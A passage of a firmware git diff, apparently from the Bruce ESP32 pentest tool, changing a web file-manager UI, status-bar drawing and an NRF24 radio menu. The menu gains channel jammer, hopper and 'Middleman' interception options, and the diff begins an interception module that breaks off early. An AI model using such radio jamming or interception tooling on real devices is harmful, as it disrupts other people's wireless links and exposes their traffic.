+ $(".dialog.editor .editor-file-name").textContent = file;
+ editor.value = "";
+ Dialog.loading.show('Loading file...');
+ requestGet('/file?fs=' + currentDrive + '&name=' + encodeURIComponent(file) + '&action=edit').then(function (r) {
+ editor.value = r;
+ editor.setAttribute("data-hash", calcHash(r));
+ updateLineNumbers();
+ $(".act-save-edit-file").disabled = true;
+ var serial = getSerialCommand(file);
+ if (serial === undefined) $(".act-run-edit-file").classList.add("hidden");
+ else $(".act-run-edit-file").classList.remove("hidden");
+ Dialog.loading.hide();
+ Dialog.show('editor');
+ updateURL(currentDrive, currentPath, file);
+ });
+ return;
+ }
+
+ // One input dialogs (serial, createFile, createFolder, rename)
+ var oActionOInput = e.target.closest(".act-oinput");
+ if (oActionOInput) {
+ e.preventDefault();
+ var action = oActionOInput.getAttribute("data-action");
+ if (!action) return;
+ var value = "", data = "";
+ if (action.startsWith("rename")) {
+ var row = oActionOInput.closest("tr");
+ var filePath = row.getAttribute("data-file") || row.getAttribute("data-path");
+ if (filePath) {
+ value = filePath.substring(filePath.lastIndexOf("/") + 1);
+ data = action + "|" + filePath;
+ }
+ } else if (action.startsWith("create")) {
+ data = action + "|" + currentPath;
+ } else {
+ data = action;
+ }
+ Dialog.showOneInput(action, value, data);
+ return;
+ }
+
+ // Delete single file
+ var actDeleteFile = e.target.closest(".act-delete");
+ if (actDeleteFile) {
+ e.preventDefault();
+ var file = actDeleteFile.closest(".file-row").getAttribute("data-file")
+ || actDeleteFile.closest(".file-row").getAttribute("data-path");
+ if (!file) return;
+ if (!confirm("Delete " + file + "?\n\nTHIS CANNOT BE UNDONE!")) return;
+ Dialog.loading.show('Deleting...');
+ requestGet("/file", { fs: currentDrive, action: 'delete', name: file }).then(function () {
+ Dialog.loading.hide();
+ Toast.show("Deleted successfully", "success");
+ fetchSystemInfo();
+ fetchFiles(currentDrive, currentPath);
+ });
+ return;
+ }
+
+ // Play/Run file
+ var actPlay = e.target.closest(".act-play");
+ if (actPlay) {
+ e.preventDefault();
+ var cmd = actPlay.getAttribute("data-cmd");
+ if (cmd) { actPlay.blur(); runCommand(cmd); }
+ return;
+ }
+});
+
+// Dialog background clicks
+$(".dialog-background").addEventListener("click", function (e) {
+ if (e.target.matches(".act-dialog-close")) {
+ e.preventDefault();
+ Dialog.hide();
+ }
+});
+
+// Save one-input dialog
+$(".act-save-oinput-file").addEventListener("click", async function () {
+ var dialog = $(".dialog.oinput");
+ var fileInput = $("#oinput-input");
+ var fileName = fileInput.value.trim();
+ if (!fileName) { Toast.show("Name cannot be empty", "error"); return; }
+ var action = dialog.getAttribute("data-cache");
+ if (!action) return;
+
+ var refreshList = true;
+ var parts = action.split("|");
+ var actionType = parts[0];
+ var path = parts[1];
+
+ if (actionType.startsWith("rename")) {
+ Dialog.loading.show('Renaming...');
+ await requestPost("/rename", { fs: currentDrive, filePath: path, fileName: fileName });
+ Toast.show("Renamed successfully", "success");
+ } else if (actionType === "createFolder") {
+ Dialog.loading.show('Creating folder...');
+ await requestGet("/file?" + new URLSearchParams({
+ fs: currentDrive, action: "create", name: path.replace(/\/+$/, '') + '/' + fileName
+ }).toString());
+ Toast.show("Folder created", "success");
+ } else if (actionType === "createFile") {
+ Dialog.loading.show('Creating file...');
+ await requestGet("/file?" + new URLSearchParams({
+ fs: currentDrive, action: "createfile", name: path.replace(/\/+$/, '') + '/' + fileName
+ }).toString());
+ Toast.show("File created", "success");
+ } else if (actionType === "serial") {
+ Dialog.loading.show('Running...');
+ await runCommand(fileName);
+ refreshList = false;
+ }
+
+ if (refreshList) fetchFiles(currentDrive, currentPath);
+ Dialog.hide();
+});
+
+// Credentials
+$(".act-save-credential").addEventListener("click", async function () {
+ var username = $("#cred-username").value.trim();
+ var password = $("#cred-password").value.trim();
+ if (!username || !password) { Toast.show("Fields cannot be empty", "error"); return; }
+ Dialog.loading.show('Saving...');
+ await requestGet("/wifi", { usr: username, pwd: password });
+ Dialog.loading.hide();
+ Toast.show("Credentials saved!", "success");
+});
+
+// Editor save
+$(".act-save-edit-file").addEventListener("click", function () { saveEditorFile(); });
+$(".act-run-edit-file").addEventListener("click", function () { saveEditorFile(true); this.blur(); });
+
+// Show/hide navigating overlay
+var showNavigating = localStorage.getItem('showNavigating') || false;
+updateShowHideNavigatingButton();
+$(".act-hide-show-navigating").addEventListener("click", function (e) {
+ e.preventDefault();
+ showNavigating = !showNavigating;
+ localStorage.setItem('showNavigating', showNavigating);
+ updateShowHideNavigatingButton();
+});
+function updateShowHideNavigatingButton() {
+ $('.act-hide-show-navigating').textContent = "'Navigating...' Overlay: " + (showNavigating ? 'Shown' : 'Hidden');
+}
+
+// Reboot
+$(".act-reboot").addEventListener("click", async function (e) {
+ e.preventDefault();
+ if (!confirm("Reboot the device?")) return;
+ Dialog.loading.show('Rebooting...');
+ await requestGet("/reboot");
+ setTimeout(function () { location.reload(); }, 1000);
+});
+
+// Navigator pad
+$(".navigator-canvas").addEventListener("click", async function (e) {
+ var nav = e.target.matches(".nav") ? e.target : e.target.closest(".nav");
+ if (!nav) return;
+ var direction = nav.getAttribute("data-direction");
+ if (direction === "Menu") direction = "Sel 500";
+ await runNavigation(direction.toLowerCase());
+});
+
+// Keyboard shortcuts
+window.addEventListener("keydown", async function (e) {
+ var key = e.key.toLowerCase();
+
+ if ($(".dialog.editor:not(.hidden)")) {
+ if ((e.ctrlKey || e.metaKey) && key === "s") {
+ e.preventDefault(); e.stopImmediatePropagation();
+ await saveEditorFile();
+ } else if (e.altKey && key === "enter") {
+ e.preventDefault(); e.stopImmediatePropagation();
+ await saveEditorFile(true);
+ }
+ }
+
+ if ($(".dialog.navigator:not(.hidden)")) {
+ var map = {
+ "arrowup": "Up", "arrowdown": "Down", "arrowleft": "Prev",
+ "arrowright": "Next", "enter": "Sel", "backspace": "Esc",
+ "m": "Menu", "pageup": "NextPage", "pagedown": "PrevPage"
+ };
+ if (key === 'r') { e.preventDefault(); e.stopImmediatePropagation(); reloadScreen(); return; }
+ if (key in map) {
+ e.preventDefault(); e.stopImmediatePropagation();
+ var navEl = document.querySelector('.navigator-canvas .nav[data-direction="' + map[key] + '"]');
+ if (navEl) navEl.click();
+ return;
+ }
+ }
+
+ // Global shortcuts
+ if ((e.ctrlKey || e.metaKey) && key === "f" && !$(".dialog:not(.hidden)")) {
+ e.preventDefault();
+ $('#search-files').focus();
+ return;
+ }
+
+ if (key === "escape") {
+ if ($('#search-files') === document.activeElement) {
+ $('#search-files').value = '';
+ $('#search-files').blur();
+ renderParsedFiles();
+ return;
+ }
+ if (selectedFiles.size > 0) { clearSelection(); return; }
+ if ($(".dialog-background.visible")) {
+ if ($(".dialog.editor:not(.hidden)")) {
+ var editor = $(".dialog.editor .file-content");
+ if (isModified(editor)) {
+ if (!confirm("Discard unsaved changes?")) return;
+ }
+ }
+ var btnEscape = $(".dialog:not(.hidden) .act-escape");
+ if (btnEscape) btnEscape.click();
+ }
+ }
+
+ if (key === "delete" && selectedFiles.size > 0 && !$(".dialog-background.visible")) {
+ e.preventDefault();
+ deleteSelected();
+ }
+});
+
+// Editor text area handlers
+$(".file-content").addEventListener("keydown", function (e) {
+ if (!$(".dialog.editor:not(.hidden)")) return;
+ var textarea = this;
+ var start = textarea.selectionStart;
+ var end = textarea.selectionEnd;
+ var TAB_SIZE = 2;
+ var tabSpaces = " ".repeat(TAB_SIZE);
+ var leadingSpacesRegex = /^ */;
+ var closingCharRegex = /^[\}\)\]]/;
+
+ var insertText = function (text, newStart, newEnd, preserveSelection) {
+ textarea.setSelectionRange(start, end);
+ document.execCommand("insertText", false, text);
+ if (preserveSelection) textarea.setSelectionRange(newStart, newEnd);
+ else textarea.setSelectionRange(newStart, newStart);
+ };
+
+ var getCurrentLine = function (pos) {
+ var lineStart = textarea.value.lastIndexOf("\n", pos - 1) + 1;
+ var lineEnd = textarea.value.indexOf("\n", pos);
+ var line = textarea.value.slice(lineStart, lineEnd === -1 ? undefined : lineEnd);
+ return { line: line, lineStart: lineStart, lineEnd: lineEnd === -1 ? textarea.value.length : lineEnd };
+ };
+
+ var handleTab = function (shift) {
+ if (start === end) {
+ var cl = getCurrentLine(start);
+ if (shift) {
+ var remove = Math.min(cl.line.match(leadingSpacesRegex)[0].length, TAB_SIZE);
+ textarea.setSelectionRange(cl.lineStart, cl.lineEnd);
+ document.execCommand("insertText", false, cl.line.slice(remove));
+ textarea.setSelectionRange(start - remove, start - remove);
+ } else {
+ insertText(tabSpaces, start + TAB_SIZE, start + TAB_SIZE, false);
+ }
+ return;
+ }
+ var first = getCurrentLine(start);
+ var last = getCurrentLine(end === start ? end : end - 1);
+ var selectedFullText = textarea.value.slice(first.lineStart, last.lineEnd);
+ var fullLines = selectedFullText.split("\n");
+ var totalChange = 0;
+ var newTextLines = fullLines.map(function (line, idx) {
+ if (idx === fullLines.length - 1 && /^\s*$/.test(line)) return line;
+ var ls = line.match(leadingSpacesRegex)[0].length;
+ if (shift) { var rm = Math.min(ls, TAB_SIZE); totalChange -= rm; return line.slice(rm); }
+ else { var add = TAB_SIZE - (ls % TAB_SIZE); totalChange += add; return " ".repeat(add) + line; }
+ });
+ textarea.setSelectionRange(first.lineStart, last.lineEnd);
+ document.execCommand("insertText", false, newTextLines.join("\n"));
+ textarea.setSelectionRange(first.lineStart, first.lineStart + newTextLines.join("\n").length);
+ };
+
+ var handleEnter = function () {
+ var cl = getCurrentLine(start);
+ var indent = cl.line.match(leadingSpacesRegex)[0] || "";
+ var nextChar = start < textarea.value.length ? textarea.value[start] : "";
+ var prevChar = start > 0 ? textarea.value[start - 1] : "";
+ var pairs = { "{": "}", "(": ")", "[": "]" };
+ if (pairs[prevChar] === nextChar) {
+ var extra = " ".repeat(TAB_SIZE);
+ var ins = "\n" + indent + extra + "\n" + indent;
+ insertText(ins, start + indent.length + extra.length + 1, start + indent.length + extra.length + 1);
+ } else {
+ var closing = closingCharRegex.test(nextChar) ? "\n" + indent : "";
+ insertText("\n" + indent + closing, start + indent.length + 1, start + indent.length + 1);
+ }
+ };
+
+ var handleAutoPair = function (key) {
+ var p = { "(": ")", "{": "}", "[": "]", '"': '"', "'": "'", "`": "`", "<": ">" };
+ if (start === end) insertText(key + p[key], start + 1, start + 1, false);
+ else {
+ var sel = textarea.value.slice(start, end);
+ insertText(key + sel + p[key], start + 1, start + 1 + sel.length, true);
+ }
+ };
+
+ var handleComment = function (cs) {
+ var toggleComment = function (line) {
+ var ind = line.match(leadingSpacesRegex)[0] || "";
+ var content = line.slice(ind.length);
+ if (content.startsWith(cs + " ")) return { line: ind + content.slice(cs.length + 1), offset: -(cs.length + 1) };
+ if (content.startsWith(cs)) return { line: ind + content.slice(cs.length), offset: -cs.length };
+ return { line: ind + cs + " " + content, offset: cs.length + 1 };
+ };
+ var isCommented = function (line) {
+ var c = line.slice((line.match(leadingSpacesRegex)[0] || "").length);
+ return c.startsWith(cs + " ") || c.startsWith(cs);
+ };
+ if (start === end) {
+ var cl = getCurrentLine(start);
+ var r = toggleComment(cl.line);
+ textarea.setSelectionRange(cl.lineStart, cl.lineEnd);
+ document.execCommand("insertText", false, r.line);
+ textarea.setSelectionRange(start + r.offset, start + r.offset);
+ return;
+ }
+ var first = getCurrentLine(start);
+ var last = getCurrentLine(end === start ? end : end - 1);
+ var fullLines = textarea.value.slice(first.lineStart, last.lineEnd).split("\n");
+ var nonEmpty = fullLines.filter(function (l) { return l.trim().length > 0; });
+ var allCommented = nonEmpty.every(isCommented);
+ var minInd = Math.min.apply(null, nonEmpty.map(function (l) { return (l.match(leadingSpacesRegex)[0] || "").length; }));
+ var newLines = fullLines.map(function (line, idx) {
+ if ((idx === fullLines.length - 1 && /^\s*$/.test(line)) || line.trim().length === 0) return line;
+ var ind = line.match(leadingSpacesRegex)[0] || "";
+ var content = line.slice(ind.length);
+ if (allCommented) {
+ if (content.startsWith(cs + " ")) return ind + content.slice(cs.length + 1);
+ if (content.startsWith(cs)) return ind + content.slice(cs.length);
+ return line;
+ }
+ return " ".repeat(minInd) + cs + " " + line.slice(minInd);
+ });
+ textarea.setSelectionRange(first.lineStart, last.lineEnd);
+ document.execCommand("insertText", false, newLines.join("\n"));
+ textarea.setSelectionRange(first.lineStart, first.lineStart + newLines.join("\n").length);
+ };
+
+ switch (e.key) {
+ case "Tab": e.preventDefault(); handleTab(e.shiftKey); return;
+ case "Enter": e.preventDefault(); handleEnter(); return;
+ case "/": if (e.ctrlKey || e.metaKey) { e.preventDefault(); handleComment("//"); return; } break;
+ case "#": if (e.ctrlKey || e.metaKey) { e.preventDefault(); handleComment("#"); return; } break;
+ }
+
+ var nextChar = start < textarea.value.length ? textarea.value[start] : "";
+ var closers = [")", "}", "]", ">", '"', "'", "`"];
+ if (closers.includes(e.key) && nextChar === e.key) {
+ e.preventDefault();
+ textarea.setSelectionRange(start + 1, start + 1);
+ return;
+ }
+ var pairs = { "(": ")", "{": "}", "[": "]", '"': '"', "'": "'", "`": "`", "<": ">" };
+ if (e.key in pairs) { e.preventDefault(); handleAutoPair(e.key); return; }
+});
+
+$(".file-content").addEventListener("keyup", function (e) {
+ if ($(".dialog.editor:not(.hidden)")) {
+ $(".act-save-edit-file").disabled = !isModified(e.target);
+ updateLineNumbers();
+ }
+});
+
+$(".file-content").addEventListener("scroll", function () {
+ if ($(".dialog.editor:not(.hidden)")) syncScrolling();
+});
+
+$(".file-content").addEventListener("input", function () {
+ if ($(".dialog.editor:not(.hidden)")) updateLineNumbers();
+});
+
+document.querySelectorAll(".oinput-text-submit").forEach(function (el) {
+ el.addEventListener("keyup", function (e) {
+ if (e.key === "Enter" || e.keyCode === 13) {
+ e.preventDefault();
+ var btn = this.closest(".dialog").querySelector(".btn-default");
+ if (btn) btn.click();
+ }
+ });
+});
+
+// Browser back/forward
+window.addEventListener('popstate', function (event) {
+ if (event.state && event.state.drive && event.state.path) {
+ fetchFiles(event.state.drive, event.state.path);
+ if (event.state.editFile) restoreEditor(event.state.drive, event.state.editFile);
+ } else {
+ var p = getURLParams();
+ var drive = p.drive || (sdCardAvailable ? "SD" : "LittleFS");
+ fetchFiles(drive, p.path || "/");
+ if (p.editFile) restoreEditor(drive, p.editFile);
+ }
+});
+
+async function restoreEditor(drive, editFile) {
+ setTimeout(async function () {
+ try {
+ var editor = $(".dialog.editor .file-content");
+ $(".dialog.editor .editor-file-name").textContent = editFile;
+ editor.value = "";
+ Dialog.loading.show('Loading file...');
+ var r = await requestGet('/file?fs=' + drive + '&name=' + encodeURIComponent(editFile) + '&action=edit');
+ editor.value = r;
+ editor.setAttribute("data-hash", calcHash(r));
+ updateLineNumbers();
+ $(".act-save-edit-file").disabled = true;
+ var serial = getSerialCommand(editFile);
+ if (serial === undefined) $(".act-run-edit-file").classList.add("hidden");
+ else $(".act-run-edit-file").classList.remove("hidden");
+ Dialog.loading.hide();
+ Dialog.show('editor');
+ } catch (err) {
+ updateURL(currentDrive, currentPath, null);
+ }
+ }, 100);
+}
+
+// Init
+(async function () {
+ await fetchSystemInfo();
+ var p = getURLParams();
+ var initialDrive = p.drive || (sdCardAvailable ? "SD" : "LittleFS");
+ var initialPath = p.path || "/";
+ await fetchFiles(initialDrive, initialPath);
+ if (p.editFile) restoreEditor(initialDrive, p.editFile);
+})();
diff --git a/embedded_resources/web_interface/login.html b/embedded_resources/web_interface/login.html
index f3947c889..49578609e 100644
--- a/embedded_resources/web_interface/login.html
+++ b/embedded_resources/web_interface/login.html
@@ -1,43 +1,40 @@
-
-
-
-
-
-
- Bruce
-
-
-
-
-
-
-
-
-
-
+
+
+
+
+
+ Bruce - Login
+
+
+
+
+
+
+
+
diff --git a/src/core/display.cpp b/src/core/display.cpp
index 341234ee9..d1f3b8b74 100644
--- a/src/core/display.cpp
+++ b/src/core/display.cpp
@@ -486,7 +486,6 @@ int loopOptions(
);
if (index >= options.size()) index = 0;
bool firstRender = true;
- static unsigned long menuOpenTs = 0; // timestamp when menu was first rendered
drawMainBorder();
while (1) {
// Check for shutdown before drawing menu to avoid drawing a black bar on the screen
@@ -526,7 +525,6 @@ int loopOptions(
firstRender
);
}
- if (firstRender) menuOpenTs = millis();
firstRender = false;
redraw = false;
}
@@ -605,11 +603,7 @@ int loopOptions(
/* Select and run function
forceMenuOption is set by a SerialCommand to force a selection within the menu
*/
- // Prevent immediate selection if the SEL button was already being held when the menu opened.
- // Allow a short grace period for the user to release the button first.
- static const unsigned long MENU_SELECT_IGNORE_MS = 600; // ms to ignore SEL after menu opens
-
- if (forceMenuOption >= 0 || (millis() - menuOpenTs > MENU_SELECT_IGNORE_MS && check(SelPress))) {
+ if (check(SelPress) || forceMenuOption >= 0) {
uint16_t chosen = index;
if (forceMenuOption >= 0) {
chosen = forceMenuOption;
@@ -774,38 +768,8 @@ void drawSubmenu(int index, std::vector &options, const char *title) {
}
void drawStatusBar() {
- int i = 0;
uint8_t bat = getBattery();
- uint8_t bat_margin = 85;
- if (bat > 0) {
- drawBatteryStatus(bat);
- } else bat_margin = 26;
- if (sdcardMounted) {
- tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
- tft.setTextSize(FP);
- tft.drawString("SD", tftWidth - (bat_margin), 12);
- i++;
- } // Indication for SD card on screen
- if (gpsConnected) {
- drawGpsSmall(tftWidth - (bat_margin + 23 * i), 7);
- i++;
- }
- if (WiFi.getMode()) {
- drawWifiSmall(tftWidth - (bat_margin + 23 * i), 7);
- i++;
- } // Draw Wifi Symbol beside battery
- if (isWebUIActive) {
- drawWebUISmall(tftWidth - (bat_margin + 23 * i), 7);
- i++;
- } // Draw Wifi Symbol beside battery
- if (BLEConnected) {
- drawBLESmall(tftWidth - (bat_margin + 23 * i), 7);
- i++;
- } // Draw BLE beside Wifi
- if (isConnectedWireguard) {
- drawWireguardStatus(tftWidth - (bat_margin + 24 * i), 7);
- i++;
- } // Draw Wg bedide BLE, if the others exist, if not, beside battery
+ if (bat > 0) drawBatteryStatus(bat);
if (bruceConfig.theme.border) {
tft.drawRoundRect(5, 5, tftWidth - 10, tftHeight - 10, 5, bruceConfig.priColor);
@@ -813,9 +777,8 @@ void drawStatusBar() {
}
if (clock_set) {
- int clock_fontsize = 1; // Font size of the clock / BRUCE + BRUCE_VERSION
- setTftDisplay(12, 12, bruceConfig.priColor, clock_fontsize, bruceConfig.bgColor);
- tft.fillRect(12, 12, 100, clock_fontsize * LH, bruceConfig.bgColor);
+ setTftDisplay(12, 12, bruceConfig.priColor, 1, bruceConfig.bgColor);
+ tft.fillRect(12, 12, 60, LH, bruceConfig.bgColor);
#if defined(HAS_RTC)
updateTimeStr(_rtc.getTimeStruct());
#else
@@ -826,6 +789,71 @@ void drawStatusBar() {
setTftDisplay(12, 12, bruceConfig.priColor, 1, bruceConfig.bgColor);
tft.print("BRUCE " + String(BRUCE_VERSION));
}
+
+ int iconCount = 0;
+ bool showSD = sdcardMounted;
+ bool showGPS = gpsConnected;
+ bool showWifi = (WiFi.getMode() != 0);
+ bool showWeb = isWebUIActive;
+ bool showBLE = BLEConnected;
+ bool showWG = isConnectedWireguard;
+ if (showSD) iconCount++;
+ if (showGPS) iconCount++;
+ if (showWifi) iconCount++;
+ if (showWeb) iconCount++;
+ if (showBLE) iconCount++;
+ if (showWG) iconCount++;
+
+ if (iconCount > 0) {
+ const int IW = 16;
+ const int IH = 16;
+ const int GAP = 6;
+ int totalW = iconCount * IW + (iconCount - 1) * GAP;
+ int sx = (tftWidth - totalW) / 2;
+ int iy = 7;
+ int idx = 0;
+
+ if (showSD) {
+ int x = sx + idx * (IW + GAP);
+ tft.fillRect(x, iy, IW, IH, bruceConfig.bgColor);
+ tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+ tft.setTextSize(FP);
+ tft.setTextDatum(MC_DATUM);
+ tft.drawString("SD", x + IW / 2, iy + IH / 2);
+ tft.setTextDatum(TL_DATUM);
+ idx++;
+ }
+ if (showGPS) {
+ int x = sx + idx * (IW + GAP);
+ tft.fillRect(x, iy, IW, IH, bruceConfig.bgColor);
+ drawGpsSmall(x, iy);
+ idx++;
+ }
+ if (showWifi) {
+ int x = sx + idx * (IW + GAP);
+ tft.fillRect(x, iy, IW, IH, bruceConfig.bgColor);
+ drawWifiSmall(x, iy);
+ idx++;
+ }
+ if (showWeb) {
+ int x = sx + idx * (IW + GAP);
+ tft.fillRect(x, iy, IW, IH, bruceConfig.bgColor);
+ drawWebUISmall(x, iy);
+ idx++;
+ }
+ if (showBLE) {
+ int x = sx + idx * (IW + GAP);
+ tft.fillRect(x, iy, IW, IH, bruceConfig.bgColor);
+ drawBLESmall(x, iy);
+ idx++;
+ }
+ if (showWG) {
+ int x = sx + idx * (IW + GAP);
+ tft.fillRect(x, iy, IW, IH, bruceConfig.bgColor);
+ drawWireguardStatus(x, iy);
+ idx++;
+ }
+ }
}
void drawMainBorder(bool clear) {
@@ -902,13 +930,17 @@ void drawBatteryStatus(uint8_t bat) {
uint16_t barcolor = bruceConfig.priColor;
if (bat < 16) barcolor = color = TFT_RED;
else if (bat < 34) barcolor = color = TFT_YELLOW;
- if (charging) color = TFT_GREEN;
- tft.drawRoundRect(tftWidth - 43, 6, 36, 19, 2, charging ? color : bruceConfig.bgColor); // (bolder border)
tft.drawRoundRect(tftWidth - 42, 7, 34, 17, 2, color);
tft.setTextSize(FP);
- tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
- tft.drawRightString((bat == 100 ? "" : " ") + String(bat) + "%", tftWidth - 45, 12, 1);
+ tft.fillRect(tftWidth - 85, 7, 42, 18, bruceConfig.bgColor);
+ if (charging) {
+ tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor);
+ tft.drawRightString("CHG", tftWidth - 44, 12, 1);
+ } else {
+ tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+ tft.drawRightString((bat == 100 ? "" : " ") + String(bat) + "%", tftWidth - 44, 12, 1);
+ }
tft.fillRoundRect(tftWidth - 40, 9, 30 * bat / 100, 13, 2, barcolor);
tft.drawLine(tftWidth - 30, 9, tftWidth - 30, 9 + 13, bruceConfig.bgColor);
tft.drawLine(tftWidth - 20, 9, tftWidth - 20, 9 + 13, bruceConfig.bgColor);
@@ -918,14 +950,12 @@ void drawBatteryStatus(uint8_t bat) {
** Description: Draws a padlock when connected
***************************************************************************************/
void drawWireguardStatus(int x, int y) {
- tft.fillRect(x, y, 20, 17, bruceConfig.bgColor);
if (isConnectedWireguard) {
- tft.drawRoundRect(11 + x, 0 + y, 8, 12, 5, TFT_GREEN);
- tft.fillRoundRect(10 + x, 8 + y, 10, 8, 0, TFT_GREEN);
+ tft.drawRoundRect(4 + x, 0 + y, 8, 10, 4, TFT_GREEN);
+ tft.fillRoundRect(3 + x, 7 + y, 10, 8, 0, TFT_GREEN);
} else {
- tft.drawRoundRect(1 + x, 0 + y, 8, 12, 5, bruceConfig.priColor);
- tft.fillRoundRect(0 + x, 8 + y, 10, 8, 0, bruceConfig.bgColor);
- tft.fillRoundRect(6 + x, 8 + y, 10, 10, 0, bruceConfig.priColor);
+ tft.drawRoundRect(4 + x, 0 + y, 8, 10, 4, bruceConfig.priColor);
+ tft.fillRoundRect(3 + x, 7 + y, 10, 8, 0, bruceConfig.priColor);
}
}
@@ -981,28 +1011,23 @@ Opt_Coord listFiles(int index, std::vector fileList) {
// desenhos do menu principal, sprite "draw" com 80x80 pixels
void drawWifiSmall(int x, int y) {
- tft.fillRect(x, y, 16, 16, bruceConfig.bgColor);
- tft.fillCircle(9 + x, 14 + y, 1, bruceConfig.priColor);
- tft.drawArc(9 + x, 14 + y, 4, 6, 130, 230, bruceConfig.priColor, bruceConfig.bgColor);
- tft.drawArc(9 + x, 14 + y, 10, 12, 130, 230, bruceConfig.priColor, bruceConfig.bgColor);
+ tft.fillCircle(8 + x, 13 + y, 1, bruceConfig.priColor);
+ tft.drawArc(8 + x, 13 + y, 4, 6, 130, 230, bruceConfig.priColor, bruceConfig.bgColor);
+ tft.drawArc(8 + x, 13 + y, 9, 11, 130, 230, bruceConfig.priColor, bruceConfig.bgColor);
}
void drawWebUISmall(int x, int y) {
- tft.fillRect(x, y, 16, 16, bruceConfig.bgColor);
-
tft.drawCircle(8 + x, 8 + y, 7, bruceConfig.priColor);
-
tft.drawLine(3 + x, 4 + y, 14 + x, 4 + y, bruceConfig.priColor);
tft.drawLine(2 + x, 8 + y, 15 + x, 8 + y, bruceConfig.priColor);
tft.drawLine(3 + x, 12 + y, 14 + x, 12 + y, bruceConfig.priColor);
}
void drawBLESmall(int x, int y) {
- tft.fillRect(x, 2 + y, 17, 13, bruceConfig.bgColor);
- tft.drawWideLine(8 + x, 8 + y, 4 + x, 5 + y, 2, bruceConfig.priColor, bruceConfig.bgColor);
- tft.drawWideLine(8 + x, 8 + y, 4 + x, 13 + y, 2, bruceConfig.priColor, bruceConfig.bgColor);
- tft.drawTriangle(8 + x, 8 + y, 8 + x, 2 + y, 13 + x, 5 + y, bruceConfig.priColor);
- tft.drawTriangle(8 + x, 8 + y, 8 + x, 14 + y, 13 + x, 11 + y, bruceConfig.priColor);
+ tft.drawWideLine(8 + x, 8 + y, 4 + x, 4 + y, 2, bruceConfig.priColor, bruceConfig.bgColor);
+ tft.drawWideLine(8 + x, 8 + y, 4 + x, 12 + y, 2, bruceConfig.priColor, bruceConfig.bgColor);
+ tft.drawTriangle(8 + x, 8 + y, 8 + x, 1 + y, 13 + x, 4 + y, bruceConfig.priColor);
+ tft.drawTriangle(8 + x, 8 + y, 8 + x, 15 + y, 13 + x, 12 + y, bruceConfig.priColor);
}
void drawBLE_beacon(int x, int y, uint16_t color) {
@@ -1024,10 +1049,9 @@ void drawGPS(int x, int y) {
}
void drawGpsSmall(int x, int y) {
- tft.fillRect(x, y, 17, 17, bruceConfig.bgColor);
- tft.drawEllipse(9 + x, 14 + y, 4, 3, bruceConfig.priColor);
- tft.drawArc(9 + x, 6 + y, 5, 2, 0, 340, bruceConfig.priColor, bruceConfig.bgColor);
- tft.fillTriangle(9 + x, 15 + y, 5 + x, 9 + y, 13 + x, 9 + y, bruceConfig.priColor);
+ tft.drawEllipse(8 + x, 13 + y, 4, 3, bruceConfig.priColor);
+ tft.drawArc(8 + x, 5 + y, 5, 2, 0, 340, bruceConfig.priColor, bruceConfig.bgColor);
+ tft.fillTriangle(8 + x, 14 + y, 4 + x, 8 + y, 12 + x, 8 + y, bruceConfig.priColor);
}
void drawCreditCard(int x, int y) {
@@ -1234,25 +1258,6 @@ bool showJpeg(FS &fs, String filename, int x, int y, bool center) {
return true;
}
-bool showJpeg(const uint8_t *data_array, size_t data_size, int x, int y, bool center) {
- bool decoded = false;
- if (data_array) {
- decoded = JpegDec.decodeArray(data_array, data_size);
- } else {
- return false;
- }
-
- if (decoded) {
- if (center) {
- x = x + (tftWidth - JpegDec.width) / 2;
- y = y + (tftHeight - JpegDec.height) / 2;
- }
- jpegRender(x, y);
- }
-
- return true;
-}
-
#if !defined(LITE_VERSION)
// ####################################################################################################
// Draw a GIF on the TFT
diff --git a/src/core/menu_items/NRF24.cpp b/src/core/menu_items/NRF24.cpp
index def1bdf57..74790648f 100644
--- a/src/core/menu_items/NRF24.cpp
+++ b/src/core/menu_items/NRF24.cpp
@@ -3,18 +3,30 @@
#include "core/utils.h"
#include "modules/NRF24/nrf_common.h"
#include "modules/NRF24/nrf_jammer.h"
+#include "modules/NRF24/nrf_middleman.h"
#include "modules/NRF24/nrf_mousejack.h"
#include "modules/NRF24/nrf_spectrum.h"
void NRF24Menu::optionsMenu() {
options.clear();
options.push_back({"Information", nrf_info});
- options.push_back({"Spectrum", nrf_spectrum});
- #if !defined(LITE_VERSION)
- options.push_back({"MouseJack", nrf_mousejack});
- #endif
+
+ if (bruceConfigPins.NRF24_bus.mosi == bruceConfigPins.SDCARD_bus.mosi &&
+ bruceConfigPins.NRF24_bus.mosi != GPIO_NUM_NC)
+ options.push_back({"Spectrum", [=]() { nrf_spectrum(&sdcardSPI); }});
+#if TFT_MOSI > 0 // Display doesn't use SPI bus
+ else if (bruceConfigPins.NRF24_bus.mosi == (gpio_num_t)TFT_MOSI)
+ options.push_back({"Spectrum", [=]() { nrf_spectrum(&tft.getSPIinstance()); }});
+#endif
+ else options.push_back({"Spectrum", [=]() { nrf_spectrum(&SPI); }});
+
options.push_back({"NRF Jammer", nrf_jammer});
+ options.push_back({"CH Jammer", nrf_channel_jammer});
+ options.push_back({"CH hopper", nrf_channel_hopper});
+ options.push_back({"NRF Middleman", nrf_middleman});
+ options.push_back({"MouseJack", nrf_mousejack});
+
#if defined(ARDUINO_M5STICK_C_PLUS) || defined(ARDUINO_M5STICK_C_PLUS2)
options.push_back({"Config pins", [this]() { configMenu(); }});
#endif
diff --git a/src/modules/NRF24/nrf_middleman.cpp b/src/modules/NRF24/nrf_middleman.cpp
new file mode 100644
index 000000000..bc908ba90
--- /dev/null
+++ b/src/modules/NRF24/nrf_middleman.cpp
@@ -0,0 +1,205 @@
+#include "nrf_middleman.h"
+#include "core/display.h"
+#include "core/mykeyboard.h"
+#include
+
+#define MM_PKT_SIZE 32
+#define MM_CHANNELS 80
+#define MM_BUFFER 16
+
+struct MitmPkt {
+ uint8_t data[MM_PKT_SIZE];
+ uint8_t len;
+ uint8_t ch;
+ unsigned long ts;
+};
+
+static MitmPkt pktBuf[MM_BUFFER];
+static int pktTotal = 0;
+static int pktWIdx = 0;
+
+static bool isEmptyPayload(uint8_t *payload, uint8_t len) {
+ for (int i = 0; i < len; i++) {
+ if (payload[i] != 0x00 && payload[i] != 0xFF) return false;
+ }
+ return true;
+}
+
+void nrf_middleman() {
+ if (!nrf_start(NRF_MODE_SPI)) {
+ displayError("NRF24 not found");
+ delay(500);
+ return;
+ }
+
+ NRFradio.setAutoAck(false);
